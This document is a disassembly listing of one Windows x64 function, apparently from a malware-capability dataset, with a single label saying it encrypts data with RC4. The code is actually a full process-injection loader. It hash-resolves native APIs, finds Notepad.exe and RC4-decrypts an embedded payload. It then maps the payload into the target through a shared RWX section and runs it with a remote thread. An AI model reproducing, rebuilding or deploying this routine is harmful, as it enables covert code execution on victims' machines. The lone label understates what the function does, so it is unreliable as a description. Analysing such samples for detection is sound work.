Function at 0x1400013a0
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp], rax
xor r13d, r13d
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
call fcn.1400010d0
lea r12, str.Notepad.exe
mov rsi, rax
mov rdx, r12
lea rcx, str.Finding__s..._n
call fcn.140001010
mov r14d, r13d
mov dword [rsp + 0x60], r13d
mov dword [rbp - 8], r13d
call fcn.1400010d0
mov edx, 0xc91abebe
mov rcx, rax
call fcn.140001190
mov rdx, rax
lea rcx, str.Query:_0x_p_n_n
mov rdi, rax
call fcn.140001070
lea r9, [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov ecx, 5
call rdi
mov ebx, dword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140001487
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.HeapAlloc_Failed_tCode:__d
call fcn.140001070
jmp 0x14000151f
mov r8d, dword [rsp + 0x60]
lea r9, [rbp - 8]
mov rdx, rax
mov ecx, 5
mov r15, rax
call rdi
test eax, eax
je 0x1400014b1
mov edx, eax
lea rcx, str.Query_Failed_With_Code:_0x_0.8x_n
call fcn.140001070
jmp 0x14000151f
mov r9, qword [rbx + 0x50]
lea r8, [0x1400032f4]
mov rdx, qword [rbx + 0x40]
lea rcx, [0x1400032f8]
call fcn.140001010
cmp word [rbx + 0x38], r13w
je 0x140001535
mov rdx, qword [rbx + 0x40]
mov rax, r13
nop word [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [r12 + rax*2]
jne 0x140001535
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r12 + rax*2 + 2]
jne 0x140001535
add rax, 2
cmp rax, 0xc
jne 0x1400014e0
mov r14d, dword [rbx + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r14d, r14d
jne 0x140001543
lea rcx, str.Fail
call fcn.140001070
mov eax, 1
jmp 0x1400018aa
mov eax, dword [rbx]
test eax, eax
je 0x140001506
add rbx, rax
jmp 0x1400014b1
mov r8d, r14d
lea rcx, str.___Found__s___ld__n_n
mov rdx, r12
call fcn.140001010
xorps xmm0, xmm0
mov eax, r14d
mov qword [rbp - 0x50], rax
lea rdi, [0x140005080]
lea rax, [0x140005198]
mov dword [rbp - 0x40], 0x30
lea rcx, str.Advapi32.dll
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x38], r13
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x48], r13
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], 0x116
mov dword [rbp - 0x70], 0xf
mov dword [rbp - 0x6c], 0xf
mov dword [rbp - 0x60], 0x116
mov dword [rbp - 0x5c], 0x116
mov qword [rbp - 0x58], rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x1400015e1
lea rcx, str.FAIL
call fcn.140001070
mov rdx, rbx
lea rcx, str.0x_p_n
call fcn.140001070
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x60]
call rbx
test eax, eax
je 0x140001622
mov edx, eax
lea rcx, str.____Failed_With_Code:_0x_0.08
call fcn.140001070
lea rcx, str.Failed_Encrypting
call fcn.140001070
mov eax, 1
jmp 0x1400018aa
mov edx, 0x616bcd2b
mov rcx, rsi
call fcn.140001190
mov rdx, rax
lea rcx, str._NtOpen__n___________0x_p_n
mov rbx, rax
call fcn.140001070
lea r9, [rbp - 0x50]
mov edx, 0x1fffff
lea r8, [rbp - 0x40]
lea rcx, [rsp + 0x68]
call rbx
test eax, eax
je 0x14000166f
lea rcx, str.Failed_Getting_Handle
call fcn.140001070
mov eax, 1
jmp 0x1400018aa
mov rdx, qword [rsp + 0x68]
lea rcx, str.___Got_Handle_n____________0x_p_n_n
call fcn.140001070
mov edx, 0xefb55787
mov rcx, rsi
call fcn.140001190
mov rdx, rax
lea rcx, str._NtCreate__n________0x_p_n_n
mov rbx, rax
call fcn.140001070
mov qword [rsp + 0x30], r13
lea r9, [rbp - 0x10]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rsp + 0x78]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
call rbx
test eax, eax
je 0x1400016e1
lea rcx, str.Failed_Creating_Shared_Map_n
call fcn.140001070
mov eax, 1
jmp 0x1400018aa
lea rcx, str.___Created_Shared_File_n_n
call fcn.140001070
mov edx, 0x20b4c85a
mov rcx, rsi
call fcn.140001190
mov rdx, rax
lea rcx, str._NtMap__n______0x_p_n
mov rbx, rax
call fcn.140001070
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rsp + 0x78]
lea r8, [rbp - 0x78]
mov dword [rsp + 0x48], 4
mov rdx, rax
mov dword [rsp + 0x40], r13d
lea rax, [rbp - 0x10]
mov dword [rsp + 0x38], 2
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
call rbx
test eax, eax
je 0x140001765
lea rcx, str.Failed_Allowing_Local_Access
call fcn.140001070
mov eax, 1
jmp 0x1400018aa
mov r8, qword [rbp - 0x10]
mov rdx, rdi
mov rcx, qword [rbp - 0x78]
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.___Copied_Payload_n_n
call fcn.140001070
mov rdx, qword [rsp + 0x68]
lea rax, [rbp - 0x10]
mov rcx, qword [rsp + 0x78]
lea r8, [rbp - 0x80]
mov dword [rsp + 0x48], 0x20
xor r9d, r9d
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
call rbx
test eax, eax
je 0x1400017d6
lea rcx, str.Failed_Allowing_Remote_n
call fcn.140001070
mov eax, 1
jmp 0x1400018aa
mov rdx, qword [rbp - 0x80]
lea rcx, str.___Buffer_Location_n_______0x_p_n
call fcn.140001070
mov edx, 0x3c2d6449
mov rcx, rsi
call fcn.140001190
mov rdx, rax
lea rcx, str._NtThread__n________0x_p_n
mov rbx, rax
call fcn.140001070
mov rcx, qword [rbp - 0x80]
lea r8, [rbp - 0x40]
mov r9, qword [rsp + 0x68]
mov edx, 0x1fffff
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x70]
call rbx
test eax, eax
je 0x140001858
lea rcx, str.Failed_With_Thread
call fcn.140001070
mov eax, 1
jmp 0x1400018aa
mov rdx, qword [rsp + 0x70]
lea rcx, str.___Started_Thread_n_______0x_p_n
call fcn.140001070
mov edx, 0x8541c085
mov rcx, rsi
call fcn.140001190
mov rcx, qword [rsp + 0x70]
xor r8d, r8d
xor edx, edx
call rax
test eax, eax
jne 0x14000152b
mov edx, 0xa1775d8e
mov rcx, rsi
call fcn.140001190
mov rcx, qword [rsp + 0x68]
mov rbx, rax
call rbx
mov rcx, qword [rsp + 0x70]
call rbx
xor eax, eax
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.1400018f0
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret